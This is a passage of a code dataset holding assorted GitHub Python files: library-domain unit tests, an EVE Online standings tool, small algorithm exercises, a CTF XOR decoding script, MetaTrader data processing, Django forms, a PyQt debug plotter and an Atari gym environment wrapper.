author1 = Author(3675, \"Barack Obama\")\n author2 = Author(1, \"J.K. Rowling\")\n author3 = Author(199, \"J.R.R. Tolkien\")\n\n book1 = Book(17, \"Lord of the Rings\")\n book1.publisher = publisher2\n book1.add_author(author3)\n\n book2 = Book(64, \"Our Memoires\")\n book2.publisher = publisher1\n book2.add_author(author2)\n book2.add_author(author1)\n\n inventory.add_book(book1, 20, 7)\n inventory.add_book(book2, 30, 2)\n\n inventory.remove_book(64)\n assert inventory.find_price(64) is None\n assert inventory.find_stock_count(64) is None\n assert inventory.find_stock_count(17) == 7\n\n def test_find_books_successful_check_types(self):\n inventory = BooksInventory()\n\n publisher1 = Publisher(\"Avatar Press\")\n publisher2 = Publisher(\"Harpercollins\")\n\n author1 = Author(3675, \"Barack Obama\")\n author2 = Author(1, \"J.K. Rowling\")\n author3 = Author(199, \"J.R.R. Tolkien\")\n\n book1 = Book(17, \"Lord of the Rings\")\n book1.publisher = publisher2\n book1.add_author(author3)\n\n book2 = Book(64, \"Our Memoires\")\n book2.publisher = publisher1\n book2.add_author(author2)\n book2.add_author(author1)\n\n inventory.add_book(book1, 20, 7)\n inventory.add_book(book2, 30, 2)\n\n found_book = inventory.find_book(17)\n assert str(found_book) == \"\"\n found_book = inventory.find_book(64)\n assert str(found_book.publisher) == \"\"\n assert str(found_book.authors[1]) == \"\"\n assert isinstance(found_book.publisher, Publisher)\n assert isinstance(found_book.authors[0], Author)\n\n def test_books_inventory_from_json_file(self, read_books_and_authors):\n dataset_of_books = read_books_and_authors\n\n inventory = BooksInventory()\n for book in dataset_of_books:\n inventory.add_book(book, 10, 3)\n\n book = inventory.search_book_by_title(\"War Stories, Volume 4\")\n\n assert str(book) == \"\"\n assert str(book.authors[1]) == \"\"\n assert isinstance(book.authors[1], Author)\n assert isinstance(book.publisher, Publisher)\n assert inventory.search_book_by_title(\"unknown\") is None\n","repo_name":"kana140/library-web-application","sub_path":"tests/unit/test_domain_model.py","file_name":"test_domain_model.py","file_ext":"py","file_size_in_byte":22233,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"14427840365","text":"# -*- coding: utf-8 -*-\n\nimport sys\ntry:\n from collections import OrderedDict\nexcept ImportError:\n from ordereddict import OrderedDict\n\nfrom eveapi import EVEAPIConnection, Error\nfrom jinja2 import Environment, PackageLoader\n\nfrom standings.cache import DbCacheHandler\n\n__version__ = '0.1'\n\nSTANDINGS_ALLIANCE = 0\nSTANDINGS_CORPORATION = 1\n\nclass Standings:\n \"\"\"\n Grabs the latest Standings from the EVE API and outputs them into\n a nice template format\n \"\"\"\n\n def __init__(self, keyid, vcode, characterid, dbpath='/tmp/standingscache.sqlite3', type=STANDINGS_ALLIANCE):\n self.eveapi = EVEAPIConnection(cacheHandler=DbCacheHandler(dbpath)).auth(keyID=keyid, vCode=vcode)\n self.character = characterid\n self.standings_type = type\n\n @property\n def _get_alliance_id_list(self):\n if not hasattr(self, '_allianceids'):\n self._allianceids = set([x.allianceID for x in EVEAPIConnection().eve.AllianceList().alliances])\n return self._allianceids\n\n def _check_if_corp(self, corpid):\n try:\n res = EVEAPIConnection().corp.CorporationSheet(corporationID=corpid)\n except Error:\n return False\n return True\n\n def _get_standings(self):\n res = self.eveapi.corp.ContactList(characterID=self.character)\n\n standings = OrderedDict()\n for x in ['excellent', 'good', 'neutral', 'bad', 'terrible']: standings[x] = []\n\n def parse_list(list, output):\n for row in list:\n level = float(row['standing'])\n if level > 5 and level <= 10:\n type = 'excellent'\n elif level > 0 and level <= 5:\n type = 'good'\n elif level < 0 and level >= -5:\n type = 'bad'\n elif level < -5 and level >= -10:\n type = 'terrible'\n else:\n # Neutral?\n type = 'neutral'\n\n if int(row['contactID']) in self._get_alliance_id_list:\n rowtype = 'alli'\n elif self._check_if_corp(int(row['contactID'])):\n rowtype = 'corp'\n else:\n rowtype = 'char'\n\n output[type].append((rowtype, row['contactID'], row['contactName'], row['standing']))\n\n # Order standings for each group\n for x in ['excellent', 'good', 'neutral', 'bad', 'terrible']:\n standings[x] = sorted(standings[x], key=lambda v: -int(v[3]))\n\n\n if self.standings_type == STANDINGS_ALLIANCE:\n parse_list(res.allianceContactList, standings)\n else:\n parse_list(res.corporateContactList, standings)\n\n return standings\n\n def _get_name(self):\n res = self.eveapi.corp.CorporationSheet()\n if hasattr(res, 'allianceName'): return res.allianceName\n return res.corporationName\n\n def _get_html(self, template='standings_list.html'):\n if not template: template = 'standings_list.html'\n env = Environment(loader=PackageLoader('standings', 'templates'))\n template = env.get_template(template)\n return template.render(standings=self._get_standings(), name=self._get_name())\n","repo_name":"testalliance/evestandings","sub_path":"standings/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3262,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"33209186412","text":"import numpy as np\n\ndef step(Y_in): \n if Y_in<0:\n return 0 \n else:\n return 1 \n\ndef perceptron(x, w, b):\n y_in = np.dot(x, w) + b \n return step(y_in)\n\ndef AND(x): \n w = np.array([1,1])\n b = -2 \n return perceptron(x, w, b) \n\ntest = np.array([[0,0], [0,1], [1,0], [1,1]]) \nfor i in test: \n print(i[0], \"AND\", i[1], 'is', AND(i))","repo_name":"bullish69/ML2","sub_path":"AND.py","file_name":"AND.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34312123989","text":"# \"hi\", 4, 8.99, 'apple', ('t,b','n') 목록의 항목에 대한 인덱스와 값을 튜플 형태로 가져옵니다. 결과는 (인덱스, 값), (인덱스, 값)과 같이 표시됩니다.\n\na = [\"hi\", 4, 8.99, 'apple', ('t,b','n')]\n\nanswer = [item for item in enumerate(a)]\n\nprint(\"answer\", answer)\n\nlist2 = [\"hi\", 4, 8.99, 'apple', ('t,b','n')]\nanswer2 = list(enumerate(list2))\nprint(\"answer2\", answer2)\n\n","repo_name":"KenchiPa/python-question","sub_path":"Q/05.py","file_name":"05.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18489083937","text":"import random\n\njokenpo = [1, 2, 3]\nmaquina = int(random.choice(jokenpo))\nusuario = int(input('\\nEscolha:\\n1 - Pedra\\n2 - Papel\\n3 - Tesoura\\nOpção: '))\n\nif usuario == maquina:\n print('\\nEMPATE\\n')\nelif usuario == 1 and maquina == 2:\n print('\\nPedra X Papel\\nVocê perdeu!\\n')\nelif usuario == 2 and maquina == 3:\n print('\\nPapel X Tesoura\\nVocê perdeu!\\n')\nelif usuario == 3 and maquina == 1:\n print('\\nTesoura X Pedra\\nVocê perdeu!\\n')\nelif usuario == 1 and maquina == 3:\n print('\\nPedra X Tesoura\\nVocê ganhou!\\n')\nelif usuario == 2 and maquina == 1:\n print('\\nPapel X Pedra\\nVocê ganhou!\\n')\nelif usuario == 3 and maquina == 2:\n print('\\nTesoura X Papel\\nVocê ganhou!\\n')\n","repo_name":"RicardoBaniski/Python","sub_path":"Opet/4_Periodo/Scripts_CEV/Mundo_02/Desafio045.py","file_name":"Desafio045.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25954670532","text":"from Leetcode_type import *\r\n\r\n# Definition for a binary tree node.\r\n# class TreeNode:\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.left = None\r\n# self.right = None\r\n\r\nclass Solution:\r\n def averageOfLevels(self, root: TreeNode) -> List[float]:\r\n averages = list()\r\n queue = collections.deque([root])\r\n while queue:\r\n total = 0\r\n size = len(queue)\r\n for _ in range(size):\r\n node = queue.popleft()\r\n total += node.val\r\n left, right = node.left, node.right\r\n if left:\r\n queue.append(left)\r\n if right:\r\n queue.append(right)\r\n averages.append(total / size)\r\n return averages\r\n\r\n\r\n","repo_name":"SoIomon/Leetcode_workspace","sub_path":"Hello_LeetCode/637. 二叉树的层平均值.py","file_name":"637. 二叉树的层平均值.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3716300717","text":"from Crypto.Util.number import *\r\n\r\ncipher = b\"VEVASnm%gJ$ Jv%xx`\\\"!\\\"$c&h\"\r\ncipher = list(cipher)\r\nprint(cipher)\r\n\r\nkey = 21\r\nfor c in cipher:\r\n print(chr(c ^ key), end=\"\")\r\n\r\nprint(\"\")\r\n","repo_name":"ushigai/ctf_writeup","sub_path":"2022/CPCTF/crypto/XXORXX/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36699149373","text":"import sys\nsys.stdin = open(\"input.txt\", \"rt\")\ninput = sys.stdin.readline\nfrom collections import deque\n\nn,m = map(int,input().split())\n\ndef bfs(start):\n\tcnt = 1\n\tqueue = deque([start]) #인자만큼 크기의 decue 생성\n\tvisit = [False for _ in range(n+1)] # 방문을 확인하기 위한 visit 배열 생성\n\tvisit[start] = True\n\twhile queue:\n\t\tcur = queue.popleft()\n\t\tfor nx in graph[cur]:\n\t\t\tif not visit[nx]:\n\t\t\t\tvisit[nx] = True\n\t\t\t\tcnt += 1\n\t\t\t\tqueue.append(nx)\n\n\treturn cnt\n\ngraph = [[] for _ in range(n+1)]\n\nfor _ in range(m):\n\ta,b = map(int,input().split())\n\tgraph[b].append(a) # 신뢰하는 관계가 A, B 형태로 들어온다\n\nmaxCnt = 1\nans = []\n\nfor i in range(1,n+1):\n\tcnt = bfs(i) # bfs 안에 누적된 값을 확인한다.\n\tif cnt > maxCnt:\n\t\tmaxCnt = cnt # 최댓 값을 누적한다.\n\t\tans.clear() \n\t\tans.append(i) # 배열 안에 모든 값을 clear 한 후 누적한다.\n\telif cnt == maxCnt: # 만약 누적된 값과 max 값이 일치하면 append 시킨다.\n\t\tans.append(i)\nprint(*ans)\n\n","repo_name":"Eugenius1st/python_algorithm","sub_path":"graph_traversal/03_효율적인해킹_1325.py","file_name":"03_효율적인해킹_1325.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6264779752","text":"from django import forms\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\nfrom django.forms import ModelForm\nfrom main.models import Ingredient, Product\n\nclass NewUserForm(UserCreationForm):\n email = forms.EmailField(required=True)\n\n class Meta:\n model = User\n fields = (\"username\", \"email\", \"password1\", \"password2\")\n\n def save(self, commit=True):\n user = super(NewUserForm, self).save(commit=False)\n user.email = self.cleaned_data[\"email\"]\n if commit:\n user.save()\n return user\n\nclass CreateIngredientForm(ModelForm):\n class Meta:\n model = Ingredient\n fields = ['name', 'product']\n\nclass CreateProductForm(ModelForm):\n class Meta:\n model = Product\n fields = ['name', 'breakout']\n","repo_name":"chadcomiter/skincareapp","sub_path":"forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"37043703325","text":"# -*- encoding: utf-8 -*-\n\"\"\"\n将一个有序的数组调整为奇数在前偶数在后, 并且要保证奇数部分和偶数部分分别是有序的\n注意这是一个有序的数组\n\n\"\"\"\n\n\nclass Solution(object):\n def adjustOdd(self, arr):\n l = 0\n r = len(arr) - 1\n while True:\n while r >= l and arr[r] & 1 == 0:\n r -= 1\n while l <= r and arr[l] & 1 == 1:\n l += 1\n\n if l > r:\n break\n arr[l], arr[r] = arr[r], arr[l]\n l += 1\n r -= 1\n\n # 最后排完序后再对左边的奇数部分进行排序, 对右边的偶数部分进行排序\n self.gbSort(arr, 0, l)\n self.gbSort(arr, l, len(arr)-1)\n return arr\n\n def gbSort(self, arr, left, right):\n if left >= right:\n return 0\n mid = left + (right-left)//2\n self.gbSort(arr, left, mid)\n self.gbSort(arr, mid+1, right)\n if arr[mid] > arr[mid+1]:\n self.merge(arr, left, mid, right)\n\n def merge(self, arr, left, mid, right):\n temp = [num for num in arr] # 需要一个和原数组一样大小的空间, 可以传入,避免不断的申请释放\n # 复制临时区间\n l = left\n r = mid + 1 # 这里的起点最开始弄错了,\n for k in range(left, right+1):\n if l > mid:\n arr[k] = temp[r]\n r += 1\n elif r > right:\n arr[k] = temp[l]\n l += 1\n elif temp[l] <= temp[r]: # 注意这里比较使用的是进入函数前的数组,也就是temp\n arr[k] = temp[l]\n l += 1\n else:\n assert temp[l] > temp[r]\n arr[k] = temp[r]\n r += 1\n\n\n\nif __name__ == \"__main__\":\n s = Solution()\n print(s.adjustOdd([2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]))\n\n arr = [3,6,1,9,2,7,5,8,4]\n s.gbSort(arr, 0, len(arr)-1)\n print(arr)","repo_name":"larioy/play-with-data-structures","sub_path":"point_offer/21将一个有序数组的奇数位在前偶数为在后.py","file_name":"21将一个有序数组的奇数位在前偶数为在后.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32211395395","text":"from modules.ewf_extractor import EwfExtractor\nfrom modules.yaml_loader import load_yaml\nfrom modules.arg_parser import parse_args\n\n\ndef main():\n args = parse_args()\n\n files_to_extract = load_yaml(args.yaml_file)\n\n extractor = EwfExtractor(args.image, args.output_dir, files_to_extract)\n extractor.open()\n extractor.extract_files()\n extractor.close()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Zaykos/ForensicToolv1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11535049270","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport math\nfrom os import name\nfrom PyQt5.QtCore import *\nfrom numpy.core.fromnumeric import shape\nfrom pyqtgraph.widgets.GraphicsLayoutWidget import GraphicsLayoutWidget\nfrom PyQt5.QtWidgets import *\nfrom pyqtgraph.functions import mkPen\n\ncolor = ['y', 'b', 'g', 'm', [139, 105, 20], 'r',[255,165,0],[0,255,255],[255,165,0]]\n\n\nclass LateralDebug(QWidget):\n obs_id_signal = pyqtSignal(int)\n ds_dt = False\n perdiction = False\n planing = True\n\n def __init__(self):\n super(LateralDebug, self).__init__()\n self.ObsEditID = QLineEdit(self)\n self.ObsEditID.setText(\" 0 \")\n self.ObsEditID.editingFinished.connect(self.editFinish)\n self.DsDtPlot = QCheckBox(\"ds_dt\")\n self.DsDtPlot.stateChanged.connect(\n lambda: self.btnstate(self.DsDtPlot))\n self.Perdiction = QCheckBox(\"perdiction\")\n self.Perdiction.stateChanged.connect(\n lambda: self.btnstate(self.Perdiction))\n self.Planning = QCheckBox(\"planning\")\n self.Planning.stateChanged.connect(\n lambda: self.btnstate(self.Planning))\n plot_control_layout = QHBoxLayout()\n plot_control_layout.addWidget(QLabel(\"obs id\"))\n plot_control_layout.addWidget(self.ObsEditID)\n plot_control_layout.addWidget(self.DsDtPlot)\n plot_control_layout.addWidget(self.Perdiction)\n plot_control_layout.addWidget(self.Planning)\n self.plot_control = QWidget()\n self.plot_control.setLayout(plot_control_layout)\n\n self.graph = GraphicsLayoutWidget()\n self.graph_set()\n self.main_layout = QVBoxLayout(self)\n self.main_layout.addWidget(self.graph)\n self.main_layout.addWidget(self.plot_control)\n\n def editFinish(self):\n self.obs_id_signal.emit(int(self.ObsEditID.text()))\n print(\"edit finish obs\", int(self.ObsEditID.text()))\n\n def btnstate(self, btn):\n str_exec = \"self.\" + btn.text()+\" = \"+str(btn.isChecked())\n print(str_exec)\n exec(str_exec)\n\n def graph_set(self):\n # self.graph.setBackground('w')\n self.widget_heading = self.graph.addPlot(0, 0)\n self.widget_heading.setTitle(\"heading (deg) \")\n self.widget_heading.setLabel(\"bottom\", \"time [s]\")\n self.widget_heading.showGrid(True, True)\n self.widget_heading.addLegend((150, 5))\n\n self.widget_steer = self.graph.addPlot(1, 0)\n self.widget_steer.setTitle(\"streering angle (deg)\")\n self.widget_steer.setLabel(\"bottom\", \"time [s]\")\n self.widget_steer.showGrid(True, True)\n self.widget_steer.setXLink(self.widget_heading)\n self.widget_steer.addLegend((150, 5))\n\n self.widget_steer_speed = self.graph.addPlot(0, 1)\n self.widget_steer_speed.setTitle(\"streering angle speed (deg)\")\n self.widget_steer_speed.setLabel(\"bottom\", \"time [s]\")\n self.widget_steer_speed.showGrid(True, True)\n self.widget_steer_speed.setXLink(self.widget_heading)\n self.widget_steer_speed.addLegend((150, 5))\n\n self.widget_signal = self.graph.addPlot(1, 1)\n self.widget_signal.setTitle(\"driving mode\")\n self.widget_signal.setLabel(\"bottom\", \"time [s]\")\n self.widget_signal.showGrid(True, True)\n self.widget_signal.setXLink(self.widget_heading)\n self.widget_signal.addLegend((150, 5))\n #self.time_line_2 = widget_signal\n\n self.drive_mode = self.widget_signal.plot(name=\"drive_mode\")\n self.stop_state = self.widget_signal.plot(name=\"stop_state\")\n self.speed_fall_back = self.widget_signal.plot(name=\"speed_fall_back\")\n self.path_fall_back = self.widget_signal.plot(name=\"path_fall_back\")\n self.torque = self.widget_signal.plot(name= \"torque\")\n\n self.heding_refer = self.widget_heading.plot(name=\"heading_refer\")\n self.heading_actual = self.widget_heading.plot(name=\"heading_actual\")\n self.heading_planning = self.widget_heading.plot(name=\"heading_planning\")\n\n self.steer_angle_refer = self.widget_steer.plot(name=\"steer_angle_refer\")\n self.steer_angle_planing = self.widget_steer.plot(name=\"steer_angle_planing\")\n self.steer_angle_actual = self.widget_steer.plot(name=\"steer_angle_actual\")\n self.steer_angle_cmd = self.widget_steer.plot(name=\"steer_angle_cmd\")\n\n self.steer_angle_speed_refer = self.widget_steer_speed.plot(name=\"steer_angle_speed_refer\")\n self.steer_angle_speed_planing = self.widget_steer_speed.plot(name=\"steer_angle_speed_planing\")\n self.steer_angle_speed_actual = self.widget_steer_speed.plot(name=\"steer_angle_speed_actual\")\n\n def update_frame(self, frame):\n #print(\"planning_st:\",self.planing,\" path_t_st:\", (\"path_t\"in frame))\n if(self.planing and (\"path_t\"in frame)):\n self.steer_angle_speed_planing.setData(frame[\"path_t\"],frame[\"steer_angle_speed\"], pen=mkPen(color[5], width=2))\n self.steer_angle_planing.setData(frame[\"path_t\"],frame[\"steer_angle\"], pen=mkPen(color[5], width=2))\n self.heading_planning.setData(frame[\"path_t\"],frame[\"heading_planning\"], pen=mkPen(color[5], width=2))\n else:\n self.steer_angle_speed_planing.setData([],[], pen=mkPen(color[5], width=2))\n self.steer_angle_planing.setData([],[], pen=mkPen(color[5], width=2))\n self.heading_planning.setData([],[], pen=mkPen(color[5], width=2))\n self.widget_signal.enableAutoRange('xy', True)\n self.widget_heading.enableAutoRange('xy', True)\n self.widget_steer.enableAutoRange('xy', True)\n self.widget_steer_speed.enableAutoRange('xy', True) \n\n def update_plot(self, data):\n self.heding_refer .setData(\n data[\"time\"], data[\"heding_refer\"], pen=mkPen(color[3], width=2))\n self.heading_actual .setData(\n data[\"time\"], data[\"heading_actual\"], pen=mkPen(color[1], width=2))\n\n self.steer_angle_speed_refer .setData(\n data[\"time\"], data[\"steer_angle_speed_refer\"], pen=mkPen(color[3], width=2))\n self.steer_angle_speed_actual .setData(\n data[\"time\"], data[\"steer_angle_speed_actual\"], pen=mkPen(color[1], width=2))\n\n self.steer_angle_refer.setData(\n data[\"time\"], data[\"steer_angle_refer\"], pen=mkPen(color[3], width=2))\n self.steer_angle_cmd.setData(\n data[\"time\"], data[\"steer_angle_cmd\"], pen=mkPen(color[2], width=2))\n self.steer_angle_actual.setData(data[\"time\"],data[\"steer_angle_actual\"], pen=mkPen(color[1], width=2))\n\n self.drive_mode.setData(\n data[\"time\"], data[\"driving_mode\"], pen=mkPen(color[0], width=2))\n self.stop_state.setData(\n data[\"time\"], data[\"stop_state\"], pen=mkPen(color[1], width=2))\n self.speed_fall_back.setData(data[\"time\"], data[\"speed_fall_back\"], pen=mkPen(\n color[3], width=2))\n self.path_fall_back.setData(data[\"time\"], data[\"path_fall_back\"], pen=mkPen(\n color[4], width=2))\n self.torque.setData(data[\"time\"], data[\"torque\"], pen=mkPen(\n color[5], width=2))\n\n\nif __name__ == \"__main__\":\n app = QApplication([])\n m = LateralDebug()\n m.show()\n app.exec_()\n","repo_name":"yanfang7722/debug_tools","sub_path":"lateral_debug.py","file_name":"lateral_debug.py","file_ext":"py","file_size_in_byte":7230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33300094963","text":"import pandas as pd\nfrom graph import Graph\n\n\ndef add_node():\n s = open(\"1.txt\", \"r\").readlines()\n v = \"\".join(s)\n u = v.split()\n for i in u:\n print(\"Файл: \", i)\n print('Введите команду \"ADD NODE \"')\n k2 = [str(i) for i in input().split()]\n if \"ADD\" in k2 and \"NODE\" in k2 and len(k2) == 3 and k2[2] in u:\n # конвертация графа в таблицу\n df = pd.read_csv(f\"{k2[2]}.csv\") # пишу считывание данных для показа\n if len(df) == 0:\n col = []\n s = str(input(\"Кол-во столбцов:\"))\n if s.isdigit():\n s = int(s)\n for i in range(s):\n x = str(input(\"Столбец:\"))\n col.append(x)\n else:\n exit(\"---------\")\n\n s = str(input(\"Кол-во значений в столбце:\"))\n\n for i in col:\n w = []\n if s.isdigit():\n n = int(s)\n for z in range(n):\n e = str(input(\"Введите значение:\"))\n w.append(e)\n else:\n exit(\"-----------\")\n\n df[i] = w\n\n df = df.loc[:, ~df.columns.str.contains('^Unnamed')]\n df.to_csv(f\"{k2[2]}.csv\")\n # конвертор таблицы в граф с экранированием и сохранением\n graph = Graph(k2[2])\n graph.draw_graph()\n\n else:\n print(\"----\")\n\n\n else:\n print(\"WRONG!\")\n","repo_name":"ilya20012021/Graph-0.1","sub_path":"src/add_node.py","file_name":"add_node.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20378332876","text":"from datetime import datetime, timedelta\nimport pandas as pd\nimport pytz\nimport MetaTrader5 as mt5\nimport calendar\nfrom funcs import noll_2, period\n\n#........................................................\n# Класс, подающий тики прошедшего месяца\nclass oldDataProcessing():\n\n# --------------------------------\n# Инициализатор\n def __init__(self,pair,timeframe,year,month):\n\n self.pair = pair\n self.timeframe = timeframe\n if(timeframe == 'h1'):\n self.tf = mt5.TIMEFRAME_H1\n elif(timeframe == 'd1'):\n self.tf = mt5.TIMEFRAME_D1 \n self.year = year\n self.month = month\n \n# текущий день для учета в минутном графике\n self.current_day = 1\n self.last_day = calendar.monthrange(year,month)[1]\n now = datetime.now()\n if(year == now.year and month == now.month):\n self.last_day = now.day\n \n self.timezone = pytz.timezone(\"Etc/UTC\")\n \n return\n\n#--------------------------------\n# Метод обработки данных для таймфреймов d1 и h1\n def result(self):\n\n# дата окончания периода, количество дней в месяце\n m = self.month + 1\n y = self.year\n d = 1\n if(m == 13):\n m = 1\n y += 1\n# количество дневных свечей\n q = calendar.monthrange(self.year, m)[1] - 6 # минимум 8 выходных\n if(self.timeframe == \"h1\"):\n# количество часовых свечей \n q *= 24\n \n utc_from = datetime(y, m, d, tzinfo=self.timezone)\n rates = mt5.copy_rates_from(self.pair, self.tf, utc_from, q)\n rates_frame = pd.DataFrame(rates)\n rates_frame['time']=pd.to_datetime(rates_frame['time'], unit='s')\n\n res = []\n for i in range(0,len(rates_frame)):\n if(self.month != rates_frame.time[i].month):\n# выход за пределы месячного диапазона\n continue\n app_to_res = { \n \"open\": round(rates_frame.open[i],5),\n \"high\": round(rates_frame.high[i],5),\n \"low\": round(rates_frame.low[i],5),\n \"close\": round(rates_frame.close[i],5),\n \"volume\": rates_frame.tick_volume[i].item(),\n \"spread\": rates_frame.spread[i].item(),\n \"day\":rates_frame.time[i].day \n }\n if(self.timeframe != \"d1\"):\n app_to_res[\"hour\"] = rates_frame.time[i].hour\n res.append(app_to_res)\n \n return res\n\n#--------------------------------\n# Метод обработки данных для таймфрейма m1\n# выполняется проход за 1 день при каждом вызове\n def result2(self):\n\n if(self.current_day > self.last_day):\n# достигнут конец месяца\n return \"End\"\n \n day = datetime(self.year, self.month, self.current_day, tzinfo=self.timezone)\n wd = day.weekday()\n if(wd > 4):\n# пропускаем выходные\n day += timedelta(days=7-wd)\n \n if(day.month != self.month):\n# достигнут конец месяца\n return \"End\"\n\n# можно извлекать данные\n self.current_day = day.day\n ret = self.ticks()\n self.current_day += 1\n \n return ret\n \n#--------------------------------\n# Метод однодневного прохода для result2\n def ticks(self):\n \n t1 = datetime(self.year, self.month, self.current_day, tzinfo=self.timezone)\n t2 = t1+timedelta(days=1)\n ticks = mt5.copy_ticks_range(self.pair, t1, t2, mt5.COPY_TICKS_ALL)\n if(len(ticks) == 0):\n return None\n \n res = []\n t = noll_2(ticks[0])\n cmin = t['min']\n cbid = t['bid']\n\n if(cbid < 10):\n mult = 100000\n elif(cbid < 100):\n mult = 10000\n elif(cbid < 1000):\n mult = 1000\n elif(cbid < 10000):\n mult = 100\n else:\n mult = 10\n\n# начальные значения\n cres = self.res_fill(t,mult)\n \n cnt = 0\n for tick in ticks:\n t = noll_2(tick)\n bid = t['bid']\n if(t['min'] != cmin):\n cres['volume'] = cnt\n res.append(cres)\n cres = self.res_fill(t,mult)\n cnt = 0\n cbid = bid\n cmin = t['min']\n else:\n if(cbid != bid):\n cres['close'] = bid\n if(bid > cres['high']):\n cres['high'] = bid\n if(bid < cres['low']):\n cres['low'] = bid\n cbid = bid\n cres['hour'] = t['hour']\n cnt += 1\n# последняя минута дня\n cres['volume'] = cnt\n res.append(cres)\n\n for r in res:\n pass\n# print(r['hour'],r['min'], r['open'], r['close'])\n# raise SystemExit \n return res\n \n#--------------------------------\n# Метод вспомогательный\n def res_fill(self, t, mult):\n \n cres = {}\n bid = t['bid']\n cres['open'] = bid\n cres['close'] = bid\n cres['high'] = bid\n cres['low'] = bid\n cres['volume'] = 0\n cres['spread'] = round((t['ask']-bid)*mult)\n cres['day'] = self.current_day\n cres['hour'] = t['hour']\n cres['min'] = t['min']\n\n return cres","repo_name":"ulookbiz/PythonData","sub_path":"Forex/m6/oldData.py","file_name":"oldData.py","file_ext":"py","file_size_in_byte":5930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74515731023","text":"import setuptools\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"proxiserve_utils\", # Replace with your own username\n version=\"0.0.1\",\n author=\"greg95000\",\n author_email=\"greg95000@gmail.com\",\n description=\"The proxiserve access data utils\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/greg95000/proxiserve_utils\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\"\n ],\n python_requires='>=3.6',\n install_requires= [\n \"sqlalchemy\",\n \"sqlalchemy-utils\"\n ]\n)","repo_name":"greg95000/proxiserve_utils","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"8421016645","text":"import multiprocessing\nimport multiprocessing.connection\n\nimport cv2\nimport gymnasium\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom Tools import SetupArgs, Painter\n\n\nclass Game:\n def __init__(self, args: SetupArgs, seed, gameNumber):\n self.gameNumber = gameNumber\n self.env_name = args.env_name\n self.env = gymnasium.make(args.env_name, render_mode=args.render_mode)\n self.env.seed(seed)\n self.obs_4 = np.zeros((4, 84, 84))\n self.obs_2_max = np.zeros((2, 84, 84))\n self.returns = []\n self.rewards = []\n self.frames = 0\n self.lives = 5 # Atari游戏中的生命值参数,该参数需要根据环境进行调整,但是reset方法中会动态调整。\n\n self.width_start = args.obs_cut['width_start']\n self.width_end = args.obs_cut['width_end']\n self.height_start = args.obs_cut['height_start']\n self.height_end = args.obs_cut['height_end']\n self.reward_cut = args.reward_cut\n\n def step(self, action):\n reward = 0.\n done = False\n # print('action:', action)\n for i in range(1):\n s_prime, r, done, info, _ = self.env.step(action)\n s_prime = s_prime[self.width_start: self.width_end, self.height_start: self.height_end]\n # plt.imshow(s_prime)\n # plt.axis('off')\n # plt.show()\n\n if i >= 2:\n self.obs_2_max[i % 2] = self._process_obs(s_prime)\n reward += r\n lives = self.env.unwrapped.ale.lives()\n # if lives < self.lives or self.frames > 18000:\n if lives == 0 or self.frames > 18000:\n # print('frames:', self.frames)\n done = True\n break\n self.obs_2_max[0] = self._process_obs(s_prime)\n reward *= self.reward_cut\n self.rewards.append(reward)\n self.frames += 1\n\n if done:\n self.returns.append(sum(self.rewards))\n episode_info = {\n \"reward\": sum(self.rewards),\n \"length\": len(self.rewards),\n 'frames': self.frames\n }\n self.reset()\n else:\n episode_info = None\n obs = self.obs_2_max.max(axis=0)\n self.obs_4 = np.roll(self.obs_4, shift=-1, axis=0)\n self.obs_4[-1] = obs\n return self.obs_4, reward, done, episode_info, {}\n\n def reset(self):\n obs, info = self.env.reset()\n obs = obs[self.width_start: self.width_end, self.height_start: self.height_end]\n obs = self._process_obs(obs)\n for i in range(4):\n self.obs_4[i] = obs\n self.rewards = []\n self.lives = self.env.unwrapped.ale.lives()\n self.frames = 0\n\n return self.obs_4, info\n\n 